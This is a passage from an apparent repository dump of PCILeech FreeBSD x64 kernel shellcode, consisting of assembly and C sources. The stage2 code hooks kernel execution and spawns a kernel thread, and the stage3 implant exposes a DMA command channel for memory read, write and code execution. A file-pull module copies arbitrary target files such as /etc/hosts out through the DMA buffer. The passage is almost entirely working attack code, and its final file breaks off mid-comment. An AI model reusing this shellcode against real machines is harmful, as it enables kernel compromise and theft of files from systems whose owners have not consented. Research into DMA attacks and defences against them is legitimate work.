QWORD SysVCall(QWORD fn, QWORD p1, QWORD p2, QWORD p3, QWORD p4, QWORD p5);\n; QWORD SysVCall(QWORD fn, ...);\n; ------------------------------------------------------------------\nSysVCall PROC\n\tMOV rax, rcx\n\tPUSH rdi\n\tPUSH rsi\n\tPUSH r14\n\tPUSH r15\n\tMOV rdi, rdx\n\tMOV rsi, r8\n\tMOV rdx, r9\n\tMOV rcx, [rsp+28h+4*8+00h] ; 20h stack shadow space + 8h (RET) + 4*8h PUSH + xxh offset\n\tMOV r8,  [rsp+28h+4*8+08h]\n\tMOV r9,  [rsp+28h+4*8+10h]\n\tMOV r15, rsp\n\tMOV r14, [rsp+28h+4*8+40h] ; 20h stack shadow space + 8h (RET) + 3*8h PUSH + xxh offset\n\tPUSH r14\n\tMOV r14, [rsp+28h+5*8+38h] ; 20h stack shadow space + 8h (RET) + 4*8h PUSH + xxh offset\n\tPUSH r14\n\tMOV r14, [rsp+28h+6*8+30h] ; 20h stack shadow space + 8h (RET) + 5*8h PUSH + xxh offset\n\tPUSH r14\n\tMOV r14, [rsp+28h+7*8+28h] ; 20h stack shadow space + 8h (RET) + 6*8h PUSH + xxh offset\n\tPUSH r14\n\tMOV r14, [rsp+28h+8*8+20h] ; 20h stack shadow space + 8h (RET) + 7*8h PUSH + xxh offset\n\tPUSH r14\n\tMOV r14, [rsp+28h+9*8+18h] ; 20h stack shadow space + 8h (RET) + 8*8h PUSH + xxh offset\n\tPUSH r14\n\tCALL rax\n\tMOV rsp, r15\n\tPOP r15\n\tPOP r14\n\tPOP rsi\n\tPOP rdi\n\tRET\nSysVCall ENDP\n\n__curthread PROC\n\tMOV rax, gs:[0]\n\tRET\n__curthread ENDP\n\nEND"
  },
  {
    "path": "pcileech_shellcode/fbsdx64_filepull.c",
    "content": "// fbsdx64_filepull.c : kernel code to pull files from target system.\n// Compatible with FreeBSD x64.\n//\n// (c) Ulf Frisk, 2016\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n// compile with:\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel fbsdx64_common.c\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel fbsdx64_filepull.c\n// ml64 fbsdx64_common_a.asm /Felx64_filepull.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main fbsdx64_filepull.obj fbsdx64_common.obj\n// shellcode64.exe -o fbsdx64_filepull.exe \"PULL FILES FROM TARGET SYSTEM                                  \\nFreeBSD x64 EDITION                                            \\n===============================================================\\nPull a file from the target system to the local system.        \\nREQUIRED OPTIONS:                                              \\n  -out : file on local system to write result to.              \\n         filename is given in normal format.                   \\n         Example: '-out c:\\temp\\hosts'                         \\n  -s : file on target system.                                  \\n         Example: '-s /etc/hosts'                              \\n===== PULL ATTEMPT DETAILED RESULT INFORMATION ================\\nFILE NAME     : %s\\nRESULT CODE   : 0x%08X\\n===============================================================\\n\"\n// \n\n#include \"fbsdx64_common.h\"\n\n#define LOOKUP\t\t\t\t0 \n#define FOLLOW\t\t\t\t0x0040\n#define AT_FDCWD\t\t\t-100\n#define FREAD\t\t\t\t0x0001\n#define FWRITE\t\t\t\t0x0002\n#define NDF_NO_FREE_PNBUF\t0x00000020\n#define NDF_ONLY_PNBUF\t\t(~NDF_NO_FREE_PNBUF)\n#define IO_NODELOCKED\t\t0x0008\n\nenum uio_seg {\n\tUIO_USERSPACE,\n\tUIO_SYSSPACE,\n\tUIO_NOCOPY\n};\n\nenum uio_rw {\n\tUIO_READ,\n\tUIO_WRITE\n};\n\nstruct vattr {\n\tQWORD _opaque1[4];\n\tQWORD va_size;\n\tQWORD _opaque2[32];\n};\n\nstruct vop_getattr_args {\n\tQWORD a_gen_a_desc;\n\tQWORD a_vp;\n\tQWORD a_vattr;\n\tQWORD a_cred;\n};\n\nstruct vop_unlock_args {\n\tQWORD a_gen_a_desc;\n\tQWORD a_vp;\n\tQWORD a_flags;\n};\n\nstruct nameidata {\n\tQWORD _opaque1[12];\n\tQWORD vnode;\n\tQWORD _opaque2[32];\n};\n\ntypedef struct tdFN2 {\n\tQWORD NDINIT_ALL;\n\tQWORD NDFREE;\n\tQWORD VOP_GETATTR_APV;\n\tQWORD VOP_UNLOCK_APV;\n\tQWORD memcpy;\n\tQWORD vn_close;\n\tQWORD vn_open;\n\tQWORD vn_rdwr;\n\tQWORD vop_getattr_desc;\n\tQWORD vop_unlock_desc;\n} FN2, *PFN2;\n\nBOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) {\n\tQWORD i = 0, NAMES[sizeof(FN2) / sizeof(QWORD)], *pfn_qw = (PQWORD)pfn2;\n\tNAMES[i++] = (QWORD)(CHAR[]) { 'N', 'D', 'I', 'N', 'I', 'T', '_', 'A', 'L', 'L', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { 'N', 'D', 'F', 'R', 'E', 'E', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { 'V', 'O', 'P', '_', 'G', 'E', 'T', 'A', 'T', 'T', 'R', '_', 'A', 'P', 'V', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { 'V', 'O', 'P', '_', 'U', 'N', 'L', 'O', 'C', 'K', '_', 'A', 'P', 'V', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { 'm', 'e', 'm', 'c', 'p', 'y', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { 'v', 'n', '_', 'c', 'l', 'o', 's', 'e', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { 'v', 'n', '_', 'o', 'p', 'e', 'n', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { 'v', 'n', '_', 'r', 'd', 'w', 'r', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { 'v', 'o', 'p', '_', 'g', 'e', 't', 'a', 't', 't', 'r', '_', 'd', 'e', 's', 'c', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { 'v', 'o', 'p', '_', 'u', 'n', 'l', 'o', 'c', 'k', '_', 'd', 'e', 's', 'c', 0 };\n\tfor(i = 0; i < sizeof(FN2) / sizeof(QWORD); i++) {\n\t\tpfn_qw[i] = LookupFunctionFreeBSD(pk, (CHAR*)NAMES[i]);\n\t\tif(!pfn_qw[i]) { return FALSE; }\n\t}\n\treturn TRUE;\n}\n\nQWORD GetFileSize(PFN2 pfn2, QWORD vnode)\n{\n\tstruct vop_getattr_args a;\n\tstruct vattr vattr;\n\ta.a_gen_a_desc = pfn2->vop_getattr_desc;\n\ta.a_vp = vnode;\n\ta.a_vattr = (QWORD)&vattr;\n\ta.a_cred = 0;\n\tif(SysVCall(pfn2->VOP_GETATTR_APV, *(PQWORD)(vnode + 0x08) /* v_op is 2nd entry in vnode */, &a)) {\n\t\treturn 0;\n\t}\n\treturn vattr.va_size;\n}\n\nVOID VOP_UNLOCK(PFN2 pfn2, QWORD vnode, QWORD flags)\n{\n\tstruct vop_unlock_args a;\n\ta.a_gen_a_desc = pfn2->vop_unlock_desc;\n\ta.a_vp = vnode;\n\ta.a_flags = flags;\n\tSysVCall(pfn2->VOP_UNLOCK_APV, *(PQWORD)(vnode + 0x08) /* v_op is 2nd entry in vnode */, &a);\n}\n\nVOID c_EntryPoint(PKMDDATA pk)\n{\n\tFN2 fn2;\n\tstruct nameidata nd;\n\tQWORD flags, fsize, error;\n\tif(!pk->dataInStr[0]) {\n\t\tpk->dataOut[0] = STATUS_FAIL_INPPARAMS_BAD;\n\t\treturn;\n\t}\n\tif(!LookupFunctions2(pk, &fn2)) {\n\t\tpk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP;\n\t\treturn;\n\t}\n\tSysVCall(fn2.NDINIT_ALL, &nd, LOOKUP, FOLLOW, UIO_SYSSPACE, pk->dataInStr, AT_FDCWD, 0, 0, curthread);\n\tflags = FREAD;\n\tif(SysVCall(fn2.vn_open, &nd, &flags, 0, 0)) {\n\t\tSysVCall(fn2.NDFREE, &nd, NDF_ONLY_PNBUF);\n\t\tpk->dataOut[0] = STATUS_FAIL_FILE_CANNOT_OPEN;\n\t\treturn;\n\t}\n\tfsize = GetFileSize(&fn2, nd.vnode);\n\tif(fsize == 0 || fsize > pk->dataOutExtraLengthMax) {\n\t\tSysVCall(fn2.NDFREE, nd, NDF_ONLY_PNBUF);\n\t\tpk->dataOut[0] = STATUS_FAIL_FILE_SIZE;\n\t\treturn;\n\t}\n\terror = SysVCall(fn2.vn_rdwr, UIO_READ, nd.vnode, (pk->DMAAddrVirtual + pk->dataOutExtraOffset), fsize, 0, UIO_SYSSPACE, IO_NODELOCKED, 0, 0, 0, curthread);\n\tif(error) {\n\t\tSysVCall(fn2.NDFREE, &nd, NDF_ONLY_PNBUF);\n\t\tpk->dataOut[0] = STATUS_FAIL_FILE_READWRITE;\n\t\treturn;\n\t}\n\tpk->dataOutExtraLength = fsize;\n\tVOP_UNLOCK(&fn2, nd.vnode, 0);\n\tSysVCall(fn2.vn_close, nd.vnode, FREAD, 0, curthread);\n\tSysVCall(fn2.memcpy, pk->dataOutStr, pk->dataInStr, MAX_PATH);\n}\n"
  },
  {
    "path": "pcileech_shellcode/fbsdx64_stage2.asm",
    "content": "; fbsdx64_stage2.asm : assembly to receive execution from stage1 shellcode.\n; Compatible with FreeBSD x64.\n;\n; (c) Ulf Frisk, 2016\n; Author: Ulf Frisk, pcileech@frizk.net\n;\n\n.CODE\n\nmain PROC\n\t; ----------------------------------------------------\n\t; 1: INITIAL OP AND VARIABLE MEMORY LOCATIONS\n\t; ----------------------------------------------------\n\tJMP main_start \n\tdata_cmpxchg_flag\t\t\t\t\tdb 00h\n\tdata_filler\t\t\t\t\t\t\tdb 00h\n\tdata_phys_addr_alloc\t\t\t\tdd 00000000h\t\t\t\t\t\t; 4 bytes offset (4 bytes long)\n\tdata_orig_code\t\t\t\t\t\tdq 0000000000000000h\t\t\t\t; 8 bytes offset (8 bytes long)\n\tdata_offset_strtab\t\t\t\t\tdd 00000000h\t\t\t\t\t\t; 16 bytes offset (4 bytes long)\n\t; ----------------------------------------------------\n\t; 2: SAVE ORIGINAL PARAMETERS\n\t; ----------------------------------------------------\n\tmain_start:\n\tPOP rax\n\tSUB rax, 5\n\tPUSH rax\n\tPUSH rdi\n\tPUSH rsi\n\tPUSH rdx\n\tPUSH rcx\n\tPUSH r8\n\tPUSH r9\n\tPUSH r12\n\tPUSH r13\n\tPUSH r14\n\t; ----------------------------------------------------\n\t; 3: RESTORE ORIGNAL (8 bytes)\n\t; ----------------------------------------------------\n\tMOV rdx, [data_orig_code]\n\tMOV [rax], rdx\n\t; ----------------------------------------------------\n\t; 4: ENSURE ATOMICITY IN THREADED ENVIRONMENTS\n\t; ----------------------------------------------------\n\tMOV al, 00h\n\tMOV dl, 01h\n\tLEA rcx, data_cmpxchg_flag\n\tLOCK CMPXCHG [rcx], dl\n\tJNE skipcall\n\t; ----------------------------------------------------\n\t; 5: SET UP PARAMETERS AND CALL C CODE\n\t;    r12: tmp 1 (virt addr)\n\t;    r13: tmp 2 (phys addr)\n\t;    r14: addr to strtab\n\t; ----------------------------------------------------\n\tMOV eax, [data_offset_strtab]\n\tLEA r14, main\n\tADD r14, rax\n\tCALL setup\n\t; ----------------------------------------------------\n\t; 6: RESTORE AND JMP BACK\n\t; ----------------------------------------------------\n\tskipcall:\n\tPOP r14\n\tPOP r13\n\tPOP r12\n\tPOP r9\n\tPOP r8\n\tPOP rcx\n\tPOP rdx\n\tPOP rsi\n\tPOP rdi\n\tRET\nmain ENDP\n\nsetup PROC\n\t; ----------------------------------------------------\n\t; 1: ALLOCATE 2 PAGES OF CONTIGUOUS MEMORY\n\t; ----------------------------------------------------\n\tLEA rdi, data_str_vm_phys_alloc_contig\n\tCALL LookupFunctionBSD\n\tXOR r8, r8\t\t\t\t\t\t; border = 0\n\tMOV ecx, 1000h\t\t\t\t\t; alignment\n\tMOV edx, 80000000h\t\t\t\t; max phys addr\n\tXOR rsi, rsi\t\t\t\t\t; min phys addr = 0\n\tMOV edi, 2\t\t\t\t\t\t; 2 pages\n\tCALL rax\n\tMOV r13, [rax+8*6]\t\t\t\t; vm_page_t -> phys addr\n\t; ----------------------------------------------------\n\t; 2: VIRT ADDR = FFFFF80000000000 + PHYS ADDR\n\t; ----------------------------------------------------\n\tMOV r12, 0FFFFF80000000000h\n\tADD r12, r13\n\t; ----------------------------------------------------\n\t; 3: ZERO MEMORY AND COPY INITIAL LOOP\n\t; ----------------------------------------------------\n\tMOV rdi, r12\n\tCALL clear_8k\n\tMOV rax, 048FFFFFFF1058D48h\n\tMOV [r12+1000h], rax\n\tMOV rax, 0F07400F88348008Bh\n\tMOV [r12+1008h], rax\n\t; ----------------------------------------------------\n\t; 4: START KERNEL THREAD\n\t; ----------------------------------------------------\n\tLEA rdi, data_str_kthread_start\n\tCALL LookupFunctionBSD\n\tPUSH 0\n\tMOV edi, 1000h\n\tADD rdi, r12\n\tPUSH rdi\n\tLEA rdi, data_str_pcileech\n\tPUSH rdi\n\tMOV rdi, rsp\n\tCALL rax\n\tPOP rax\n\tPOP rax\n\tPOP rax\n\t; ----------------------------------------------------\n\t; 5: WRITE BACK PHYSICAL ADDRESS\n\t; ----------------------------------------------------\n\tMOV [r12+58h], r14\t\t\t\t\t; Addr StrTab -> KMDDATA.ReservedKMD\n\tMOV [data_phys_addr_alloc], r13d\n\tMOV [data_filler], 66h\t\t\t\t; DEBUG\n\tRET\nsetup ENDP\n\n; ----------------------------------------------------\n; FIND EXPORTED SYMBOL IN BSD KERNEL\n; destroyed registers :: rsi\n; rdi -> ptr to symbol str\n; rax <- resulting address (zero if error)\n; ----------------------------------------------------\nLookupFunctionBSD PROC\n\tMOV rcx, r14\n\tSUB rcx, 8\n\tloop_symsearch:\n\tSUB rcx, 18h\n\tMOV rax, [rcx]\n\tTEST rax, rax\n\tJZ error\n\tMOV esi, [rcx]\n\tADD rsi, r14\n\tCALL strcmp_simple\n\tTEST rax, rax\n\tJNZ loop_symsearch\n\tMOV rax, [rcx+8]\n\tRET\n\terror:\n\tXOR rax, rax\n\tRET\nLookupFunctionBSD ENDP\n\n; ----------------------------------------------------\n; TRIVIAL VERSION OF STRCMP\n; destroyed registers :: <none>\n; rdi -> ptr to str1\n; rsi -> ptr to str2\n; rax <- 0 == success, !0 == fail\n; ----------------------------------------------------\nstrcmp_simple PROC\n\tPUSH rcx\n\tXOR rcx, rcx\n\tDEC rcx\n\tloop_strcmp:\n\tINC rcx\n\tMOV al, [rdi+rcx]\n\tCMP al, [rsi+rcx]\n\tJNE error\n\tCMP al, 0\n\tJNE loop_strcmp\n\tXOR rax, rax\n\tPOP rcx\n\tRET\n\terror:\n\tMOV al, 1\n\tPOP rcx\n\tRET\nstrcmp_simple ENDP\n\n; ----------------------------------------------------\n; CLEAR 8K OF MEMORY\n; destroyed registers :: rcx\n; rdi -> starting address\n; ----------------------------------------------------\nclear_8k PROC\n\tXOR rax, rax\n\tMOV ecx, 1024\n\tCLD\n\tREP STOSQ [rdi]\n\tRET\nclear_8k ENDP\n\ndata_str_vm_phys_alloc_contig\t\t\tdb 'vm_phys_alloc_contig', 0\ndata_str_kthread_start\t\t\t\t\tdb 'kthread_start', 0\ndata_str_pcileech\t\t\t\t\t\tdb 'pcileech', 0\n\nEND\n"
  },
  {
    "path": "pcileech_shellcode/fbsdx64_stage3.asm",
    "content": "; fbsdx64_stage3.asm : assembly to receive execution from stage2 shellcode.\n; Compatible with FreeBSD x64.\n;\n; (c) Ulf Frisk, 2016\n; Author: Ulf Frisk, pcileech@frizk.net\n;\n\nEXTRN stage3_c_EntryPoint:NEAR\n\n.CODE\n\nmain PROC\n\t; ----------------------------------------------------\n\t; 1: SAME INITIAL BYTE SEQUENCE AS wx64_stage3_pre.asm\n\t; ----------------------------------------------------\n\tlabel_main_base:\n\tLEA rax, label_main_base-8h\n\tMOV rax, [rax]\n\tCMP rax, 0\n\tJZ label_main_base\n\t; ----------------------------------------------------\n\t; 2: CALL C CODE\n\t; ----------------------------------------------------\n\tLEA rcx, label_main_base - 1000h ; address of data page in parameter 1\n\tENTER 20h, 0\n\tCALL stage3_c_EntryPoint\n\tLEAVE\n\t; ----------------------------------------------------\n\t; 3: RESTORE AND JMP BACK\n\t; ----------------------------------------------------\n\tRET\nmain ENDP\n\n; ----------------------------------------------------\n; TRIVIAL VERSION OF STRCMP\n; destroyed registers :: <none>\n; rdi -> ptr to str1\n; rsi -> ptr to str2\n; rax <- 0 == success, !0 == fail\n; ----------------------------------------------------\nstrcmp_simple PROC\n\tPUSH rcx\n\tXOR rcx, rcx\n\tDEC rcx\n\tloop_strcmp:\n\tINC rcx\n\tMOV al, [rdi+rcx]\n\tCMP al, [rsi+rcx]\n\tJNE error\n\tCMP al, 0\n\tJNE loop_strcmp\n\tXOR rax, rax\n\tPOP rcx\n\tRET\n\terror:\n\tMOV al, 1\n\tPOP rcx\n\tRET\nstrcmp_simple ENDP\n\n; ----------------------------------------------------\n; FIND EXPORTED SYMBOL IN BSD KERNEL\n; destroyed registers :: rsi\n; rcx -> PKMDDATA\n; rdx -> rdi -> ptr to symbol/function str\n; rax <- resulting address (zero if error)\n; ----------------------------------------------------\nLookupFunctionBSD PROC\n\tPUSH rdi\n\tPUSH rsi\n\tMOV rdi, rdx\n\tMOV rcx, [rcx+58h]\t\t\t; [PKMDDATA->ReservedKMD]\n\tMOV rdx, rcx\t\t\t\t; [PKMDDATA->ReservedKMD]\n\tSUB rcx, 8\n\tloop_symsearch:\n\tSUB rcx, 18h\n\tMOV rax, [rcx]\n\tTEST rax, rax\n\tJZ error\n\tMOV esi, [rcx]\n\tADD rsi, rdx\n\tCALL strcmp_simple\n\tTEST rax, rax\n\tJNZ loop_symsearch\n\tMOV rax, [rcx+8]\n\tPOP rsi\n\tPOP rdi\n\tRET\n\terror:\n\tXOR rax, rax\n\tPOP rsi\n\tPOP rdi\n\tRET\nLookupFunctionBSD ENDP\n\n; ----------------------------------------------------\n; Lookup functions in the FreeBSD kernel image.\n; This function is called by the c-code.\n; rcx = PKMDDATA\n; rdx = ptr to FNBSD struct\n; rax <- TRUE(1)/FALSE(0)\n; ----------------------------------------------------\nLookupFunctionsDefaultFreeBSD PROC\n\t; ----------------------------------------------------\n\t; 0: SET UP / STORE NV-REGISTERS\n\t; ----------------------------------------------------\n\tPUSH r15\n\tPUSH r14\n\tPUSH r13\n\tPUSH r12\n\tMOV r12, rsp\n\tMOV r15, rcx\t\t\t\t; PKMDDATA\n\tMOV r14, rdx\t\t\t\t; PFNBSD\n\tMOV r13, 7*8\t\t\t\t; num functions * 8\n\t; ----------------------------------------------------\n\t; 1: PUSH FUNCTION NAME POINTERS ON STACK\n\t; ----------------------------------------------------\n\tLEA rax, str_dump_avail\n\tPUSH rax\n\tLEA rax, str_kthread_exit\n\tPUSH rax\n\tLEA rax, str_memcpy\n\tPUSH rax\n\tLEA rax, str_memset\n\tPUSH rax\n\tLEA rax, str_pause_sbt\n\tPUSH rax\n\tLEA rax, str_vm_phys_alloc_contig\n\tPUSH rax\n\tLEA rax, str_vm_phys_free_contig\n\tPUSH rax\n\t; ----------------------------------------------------\n\t; 2: LOOKUP FUNCTION POINTERS BY NAME\n\t; ----------------------------------------------------\n\tlookup_loop:\n\tSUB r13, 8\n\tMOV rcx, r15\t\t\t\t; PKMDDATA\n\tPOP rdx\n\tCALL LookupFunctionBSD\n\tTEST rax, rax\n\tJZ lookup_fail\n\tMOV [r14+r13], rax\n\tTEST r13, r13\n\tJNZ lookup_loop\n\t; ----------------------------------------------------\n\t; 3: RESTORE NV REGISTERS AND RETURN\n\t; ----------------------------------------------------\n\tMOV rax, 1\n\tJMP cleanup_return\n\tlookup_fail:\n\tXOR rax, rax\n\tcleanup_return:\n\tMOV rsp, r12\n\tPOP r12\n\tPOP r13\n\tPOP r14\n\tPOP r15\n\tRET\nLookupFunctionsDefaultFreeBSD ENDP\n\nstr_dump_avail\t\t\t\t\tdb 'dump_avail', 0\nstr_kthread_exit\t\t\t\tdb 'kthread_exit', 0\nstr_memcpy\t\t\t\t\t\tdb 'memcpy', 0\nstr_memset\t\t\t\t\t\tdb 'memset', 0\nstr_pause_sbt\t\t\t\t\tdb 'pause_sbt', 0\nstr_vm_phys_alloc_contig\t\tdb 'vm_phys_alloc_contig', 0\nstr_vm_phys_free_contig\t\t\tdb 'vm_phys_free_contig', 0\n\n; ------------------------------------------------------------------\n; Convert from the Windows X64 calling convention to the SystemV\n; X64 calling convention used by Linux. A maximum of ten (10)\n; parameters in addition to the function ptr can be supplied.\n; QWORD SysVCall(QWORD fn, QWORD p1, QWORD p2, QWORD p3, QWORD p4, QWORD p5);\n; QWORD SysVCall(QWORD fn, ...);\n; ------------------------------------------------------------------\nSysVCall PROC\n\tMOV rax, rcx\n\tPUSH rdi\n\tPUSH rsi\n\tPUSH r14\n\tPUSH r15\n\tMOV rdi, rdx\n\tMOV rsi, r8\n\tMOV rdx, r9\n\tMOV rcx, [rsp+28h+4*8+00h] ; 20h stack shadow space + 8h (RET) + 4*8h PUSH + xxh offset\n\tMOV r8,  [rsp+28h+4*8+08h]\n\tMOV r9,  [rsp+28h+4*8+10h]\n\tMOV r15, rsp\n\tMOV r14, [rsp+28h+4*8+30h] ; 20h stack shadow space + 8h (RET) + 3*8h PUSH + xxh offset\n\tPUSH r14\n\tMOV r14, [rsp+28h+5*8+28h] ; 20h stack shadow space + 8h (RET) + 4*8h PUSH + xxh offset\n\tPUSH r14\n\tMOV r14, [rsp+28h+6*8+20h] ; 20h stack shadow space + 8h (RET) + 5*8h PUSH + xxh offset\n\tPUSH r14\n\tMOV r14, [rsp+28h+7*8+18h] ; 20h stack shadow space + 8h (RET) + 6*8h PUSH + xxh offset\n\tPUSH r14\n\tCALL rax\n\tMOV rsp, r15\n\tPOP r15\n\tPOP r14\n\tPOP rsi\n\tPOP rdi\n\tRET\nSysVCall ENDP\n\nEND\n"
  },
  {
    "path": "pcileech_shellcode/fbsdx64_stage3_c.c",
    "content": "// fbsdx64_stage3_c.c : stage3 main shellcode.\n// Compatible with FreeBSD x64.\n//\n// (c) Ulf Frisk, 2016, 2017\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n\ntypedef void\t\t\t\t\tVOID, *PVOID;\ntypedef int\t\t\t\t\t\tBOOL, *PBOOL;\ntypedef unsigned char\t\t\tBYTE, *PBYTE;\ntypedef char\t\t\t\t\tCHAR, *PCHAR;\ntypedef unsigned short\t\t\tWORD, *PWORD;\ntypedef unsigned long\t\t\tDWORD, *PDWORD;\ntypedef unsigned __int64\t\tQWORD, *PQWORD;\ntypedef void\t\t\t\t\t*HANDLE;\n#define MAX_PATH\t\t\t\t260\n#define TRUE\t\t\t\t\t1\n#define FALSE\t\t\t\t\t0\n\n//-------------------------------------------------------------------------------\n// General defines below.\n//-------------------------------------------------------------------------------\n\n#define BSD_PHYS2VIRT_BASE 0xFFFFF80000000000ULL\n\ntypedef struct tdvm_page_t {\n\tQWORD _opaque[6];\n\tQWORD qwPA;\n} *vm_page_t;\n\ntypedef struct tdPHYSICAL_MEMORY_RANGE {\n\tQWORD BaseAddress;\n\tQWORD NumberOfBytes;\n} PHYSICAL_MEMORY_RANGE, *PPHYSICAL_MEMORY_RANGE;\n\ntypedef struct tdPHYSICAL_MEMORY_RANGE_BSD {\n\tQWORD StartAddress;\n\tQWORD EndAddress;\n} PHYSICAL_MEMORY_RANGE_BSD, *PPHYSICAL_MEMORY_RANGE_BSD;\n\ntypedef struct tdFNBSD { // function pointers to BSD functions and structs\n\tQWORD dump_avail;\n\tQWORD kthread_exit;\n\tQWORD memcpy;\n\tQWORD memset;\n\tQWORD pause_sbt;\n\tQWORD vm_phys_alloc_contig;\n\tQWORD vm_phys_free_contig;\n\tQWORD ReservedFutureUse[25];\n} FNBSD, *PFNBSD;\n\n#define KMDDATA_OPERATING_SYSTEM_FREEBSD\t\t0x08\n\n/*\n* KMD DATA struct. This struct must be contained in a 4096 byte section (page).\n* This page/struct is used to communicate between the inserted kernel code and\n* the pcileech program.\n* VNR: 003\n*/\ntypedef struct tdKMDDATA {\n\tQWORD MAGIC;\t\t\t\t\t// [0x000] magic number 0x0ff11337711333377.\n\tQWORD AddrKernelBase;\t\t\t// [0x008] pre-filled by stage2, virtual address of kernel header (WINDOWS/MACOS).\n\tQWORD AddrKallsymsLookupName;\t// [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX).\n\tQWORD DMASizeBuffer;\t\t\t// [0x018] size of DMA buffer.\n\tQWORD DMAAddrPhysical;\t\t\t// [0x020] physical address of DMA buffer.\n\tQWORD DMAAddrVirtual;\t\t\t// [0x028] virtual address of DMA buffer.\n\tQWORD _status;\t\t\t\t\t// [0x030] status of operation\n\tQWORD _result;\t\t\t\t\t// [0x038] result of operation TRUE|FALSE\n\tQWORD _address;\t\t\t\t\t// [0x040] address to operate on.\n\tQWORD _size;\t\t\t\t\t// [0x048] size of operation / data in DMA buffer.\n\tQWORD OperatingSystem;\t\t\t// [0x050] operating system type\n\tQWORD ReservedKMD[8];\t\t\t// [0x058] reserved for specific kmd data (dependant on KMD version).\n\tQWORD ReservedFutureUse1[13];\t// [0x098] reserved for future use.\n\tQWORD dataInExtraLength;\t\t// [0x100] length of extra in-data.\n\tQWORD dataInExtraOffset;\t\t// [0x108] offset from DMAAddrPhysical/DMAAddrVirtual.\n\tQWORD dataInExtraLengthMax;\t\t// [0x110] maximum length of extra in-data. \n\tQWORD dataInConsoleBuffer;\t\t// [0x118] physical address of 1-page console buffer.\n\tQWORD dataIn[28];\t\t\t\t// [0x120]\n\tQWORD dataOutExtraLength;\t\t// [0x200] length of extra out-data.\n\tQWORD dataOutExtraOffset;\t\t// [0x208] offset from DMAAddrPhysical/DMAAddrVirtual.\n\tQWORD dataOutExtraLengthMax;\t// [0x210] maximum length of extra out-data. \n\tQWORD dataOutConsoleBuffer;\t\t// [0x218] physical address of 1-page console buffer.\n\tQWORD dataOut[28];\t\t\t\t// [0x220]\n\tFNBSD fn;\t\t\t\t\t\t// [0x300] used by shellcode to store function pointers.\n\tCHAR dataInStr[MAX_PATH];\t\t// [0x400] string in-data\n\tCHAR ReservedFutureUse2[252];\n\tCHAR dataOutStr[MAX_PATH];\t\t// [0x600] string out-data\n\tCHAR ReservedFutureUse3[252];\n\tQWORD ReservedFutureUse4[255];\t// [0x800]\n\tQWORD _op;\t\t\t\t\t\t// [0xFF8] (op is last 8 bytes in 4k-page)\n} KMDDATA, *PKMDDATA;\n\n#define KMD_CMD_VOID\t\t\t0xffff\n#define KMD_CMD_COMPLETED\t\t0\n#define KMD_CMD_READ\t\t\t1\n#define KMD_CMD_WRITE\t\t\t2\n#define KMD_CMD_TERMINATE\t\t3\n#define KMD_CMD_MEM_INFO\t\t4\n#define KMD_CMD_EXEC\t\t    5\n#define KMD_CMD_READ_VA\t\t\t6\n#define KMD_CMD_WRITE_VA\t\t7\n\n//-------------------------------------------------------------------------------\n// Assembly functions below.\n//-------------------------------------------------------------------------------\n\nextern BOOL LookupFunctionsDefaultFreeBSD(PKMDDATA pk, QWORD qwAddrFNBSD);\nextern QWORD SysVCall(QWORD fn, ...);\n\n//-------------------------------------------------------------------------------\n// Kernel module functions below.\n//-------------------------------------------------------------------------------\n\n/*\n* Retrieve system memory ranges from the dump_avail memory structure.\n*/\nBOOL SetMemoryRanges(PKMDDATA pk)\n{\n\tPPHYSICAL_MEMORY_RANGE pmr = (PPHYSICAL_MEMORY_RANGE)pk->DMAAddrVirtual;\n\tPPHYSICAL_MEMORY_RANGE_BSD pmrBSD = (PPHYSICAL_MEMORY_RANGE_BSD)pk->fn.dump_avail;\n\tQWORD i = 0;\n\twhile(pmrBSD[i].StartAddress || pmrBSD[i].EndAddress) {\n\t\tpmr[i].BaseAddress = pmrBSD[i].StartAddress;\n\t\tpmr[i].NumberOfBytes = pmrBSD[i].EndAddress - pmrBSD[i].StartAddress;\n\t\ti++;\n\t}\n\tpk->_size = i * sizeof(PHYSICAL_MEMORY_RANGE);\n\treturn TRUE;\n}\n\n#define SBT_1S\t\t(1ULL << 32)\n#define SBT_1MS\t\t(SBT_1S / 1000)\n\n// status:\n//     1: ready for command\n//     2: processing\n//     f0000000: terminated\n//     f0000000+: error\n// op: - see KMD_CMD defines\n// result:\n//    0: FALSE\n//    1: TRUE\n// address:\n//    physical base address for memory operation\n// size:\n//    size of memory operation\nVOID stage3_c_EntryPoint(PKMDDATA pk)\n{\n\tQWORD idleCount = 0;\n\tvm_page_t pg_phys;\n\t// 1: set up symbols and kmd data\n\tpk->MAGIC = 0x0ff11337711333377;\n\tpk->OperatingSystem = KMDDATA_OPERATING_SYSTEM_FREEBSD;\n\tif(!LookupFunctionsDefaultFreeBSD(pk, (QWORD)&pk->fn)) {\n\t\tpk->_status = 0xf0000001;\n\t\treturn;\n\t}\n\t// 1: set up mem out DMA area 4MB/16MB in lower 4GB\n\tpk->DMASizeBuffer = 0x1000000;\n\tpg_phys = (vm_page_t)SysVCall(pk->fn.vm_phys_alloc_contig, 0x1000000 / 0x1000, 0, 0xf0000000, 0x1000, 0);\n\tif(!pg_phys) {\n\t\tpk->DMASizeBuffer = 0x00400000;\n\t\tSysVCall(pk->fn.vm_phys_alloc_contig, 0x00400000 / 0x1000, 0, 0xf0000000, 0x1000, 0);\n\t}\n\tif(!pg_phys) {\n\t\tpk->DMASizeBuffer = 0;\n\t\tpk->_status = 0xf0000002;\n\t\treturn;\n\t}\n\tpk->DMAAddrPhysical = pg_phys->qwPA;\n\tpk->DMAAddrVirtual = BSD_PHYS2VIRT_BASE | pg_phys->qwPA;\n\t// 3: main 